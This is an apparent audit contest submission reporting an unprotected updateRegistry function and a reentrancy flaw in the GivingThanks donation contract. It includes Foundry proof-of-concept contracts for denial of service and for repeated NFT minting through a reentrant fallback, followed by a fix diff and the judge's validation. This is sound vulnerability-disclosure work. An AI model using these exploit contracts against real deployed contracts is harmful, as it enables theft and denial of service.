GivingThanks
First Flight #28
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Denial of Service and Reentrancy after "updateRegistry`

edmpulasky

Summary

GivingThanks:updateRegistry is unprotected, allowing any attacker to replace the registry contract, which can lead to Denial of Service (DoS) and token minting exploits through reentrancy attacks.

Vulnerability Details

The GivingThanks:updateRegistry enables attackers to take control over the Registry. In combination with GivingThanks:donate, this enables to deny or increase gas cost for donations to legit Charities or bypass Bad Charities through isVerified function. Therefore, allowing Malicious Contracts repeatedly reenter donations.

@> function updateRegistry(address _registry) public {
//public nor even protected
registry = CharityRegistry(_registry);
}

Impact

Legitimate charities might be denied, and reentrancy vulnerabilities could exploit the minting mechanism or alter the tokenCounter order.

Tools Used

  • Manual Review and static analysis

  1. DOS Scenario

    1. Attacker: Creates a Malicious Register.

    2. Attacker: Updates GivingThanks:Registry,

    3. Donor: Calls donate.

    4. Malicious Register: Charge with higher gas or deny isVerified condition.

    5. Charity: Receives donation or not.

contract RegistryDOS {
function isVerified(address) public pure returns (bool) {
//DOS or high-gas computation
return false;
}
}
​
function testRegistryUpdateDOS() public {
RegistryDOS badRegistry = new RegistryDOS();
charityContract.updateRegistry(address(badRegistry));
vm.deal(donor, 10 ether);
vm.prank(donor);
vm.expectRevert(bytes("Charity not verified"));
charityContract.donate{ value: 1 ether }(charity);
}
​

2: Reentrancy and Minting Scenario

  1. Attacker: Creates a Malicious Register and Malicious Charity.

  2. Attacker: Updates GivingThanks:Registry ,

  3. Attacker: Calls donate to Malicious Charity.

  4. Malicious Register: Bypasses isVerified condition.

  5. Malicious Charity: receives donation then reenters donate to himself, mining n tokens desired.

contract BadCharity {
uint256 times;
GivingThanks protocol;
​
constructor(address _protocol) {
protocol = GivingThanks(_protocol);
}
​
fallback() external payable {
//desired times
if (times < 10) {
times = times + 1;
//will donate to himself 0 but minting N times
protocol.donate{ value: 0 }(address(this));
}
}
}
​
function testRegistryUpdateReentrancy() public {
BadCharity badCharity = new BadCharity(address(charityContract));
​
RegistryBypasser badRegistry = new RegistryBypasser();
charityContract.updateRegistry(address(badRegistry));
//donor or attacker the bad charity will mint N tokens anyways
//also alters tokenCounter order
vm.deal(donor, 1 ether);
vm.prank(donor);
charityContract.donate{ value: 0 }(address(badCharity));
}

Recommendations

  1. Add owner requirement to proceed Registry update.

  2. protect donate with NonReentrant modifier.

  3. cache tokenCounter before transfer.

- function donate(address charity) public payable {
+ function donate(address charity) public payable nonReentrant {
require(registry.isVerified(charity), "Charity not verified");
//@e to malicious charities will afect them not the protocol
+ uint256 tokenId = tokenCounter;
tokenCounter += 1;
(bool sent,) = charity.call{ value: msg.value }("");
require(sent, "Failed to send Ether");
//@audit unsafe token mint, ERC721Receiver
- _mint(msg.sender, tokenCounter);
+ _mint(msg.sender, tokenId);
​
// Create metadata for the tokenURI
string memory uri = _createTokenURI(msg.sender, block.timestamp, msg.value);
- _setTokenURI(tokenCounter, uri);
+ _setTokenURI(tokenId, uri);
​
- tokenCounter += 1;
}
​
​
function updateRegistry(address _registry) public {
+ require(msg.sender == owner);
registry = CharityRegistry(_registry);
}
Updates

Lead Judging Commences

n0kto Lead Judge 11 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-donate-reentrancy-multiple-NFT-minted

Impact: High, one charity can reenter the donate function with the same ETH provided and mint several NFT. Likelyhood: Low, any malicious charity can do it but Admin is trusted and should verify the charity contract before "verifying" it.

finding-anyone-can-change-registry

Likelyhood: High, anyone can change it at anytime Impact: High, can bypass the verification process

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.